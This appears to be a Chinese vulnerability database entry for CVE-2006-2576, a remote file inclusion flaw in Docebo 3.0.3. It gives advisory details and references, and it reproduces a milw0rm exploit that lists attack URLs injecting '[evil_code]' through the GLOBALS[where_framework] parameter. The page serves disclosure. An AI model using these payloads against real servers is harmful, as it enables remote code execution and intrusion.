Docebo 全局变量 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110318 漏洞类型 未知
发布时间 2006-05-23 更新时间 2006-05-24
CVE编号 CVE-2006-2576 CNNVD-ID CNNVD-200605-455
漏洞平台 PHP CVSS评分 5.1
|漏洞来源
https://www.exploit-db.com/exploits/1817
https://www.securityfocus.com/bid/87562
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-455
|漏洞详情
Docebo是一款基于Web的内容管理系统。Docebo处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。Docebo的多个脚本没有正确地验证GLOBALS[where_framework]变量的数据,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。
|漏洞EXP
################ DEVIL TEAM THE BEST POLISH TEAM #################
#Docebo 3.0.3/DoceboCMS,DoceboKms,DoceboLms,DoceboCore,DoceboScs - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
####################################################################
#Docebo Site: http://www.docebocms.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In All scripts:
[code]
require_once($GLOBALS['where_framework'].'/lib/lib.permission.php');
require_once($GLOBALS['where_framework'].'/lib/lib.pagewriter.php');
require_once($GLOBALS['where_framework'].'/lib/lib.lang.php');
require_once($GLOBALS['where_framework'].'/lib/lib.template.php');
require_once($GLOBALS['where_framework'].'/lib/lib.mimetype.php');
[/code]

#DoceboCMS:

http://www.site.com/docebocms/lib/lib.simplesel.php?GLOBALS[where_framework]=[evil_code]

#DoceboKms:

http://www.site.com/doceboKms/modules/documents/lib.filelist.php?GLOBALS[where_framework]=[evil_code]

http://www.site.com/doceboKms/modules/documents/tree.documents.php?GLOBALS[where_framework]=[evil_code]

#DoceboLms:

http://www.site.com/doceboLms/lib/lib.repo.php?GLOBALS[where_framework]=[evil_code]

#DoceboCore:

http://www.site.com/doceboCore/lib/lib.php?GLOBALS[where_framework]=[evil_code]

#DoceboScs:

http://www.site.com/doceboScs/lib/lib.teleskill.php?GLOBALS[where_scs]=[evil_code]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#The End ;-)
#Pozdro Dla wszystkich o których zapomnia.em ;-)

# milw0rm.com [2006-05-23]
|受影响的产品
Docebo Docebo 3.0.3
|参考资料

来源:VUPEN
名称:ADV-2006-1935
链接:http://www.frsirt.com/english/advisories/2006/1935
来源:SECUNIA
名称:20260
链接:http://secunia.com/advisories/20260
来源:MILW0RM
名称:1817
链接:http://milw0rm.com/exploits/1817
来源:XF
名称:docebo-multiple-file-include(26633)
链接:http://xforce.iss.net/xforce/xfdb/26633
来源:OSVDB
名称:26711
链接:http://www.osvdb.org/26711
来源:OSVDB
名称:25757
链接:http://www.osvdb.org/25757
来源:BUGTRAQ
名称:20060609DoceboKms3.0.3,Remotecommandexecution
链接:http://archives.neohapsis.com/archives/bugtraq/2006-06/0113.html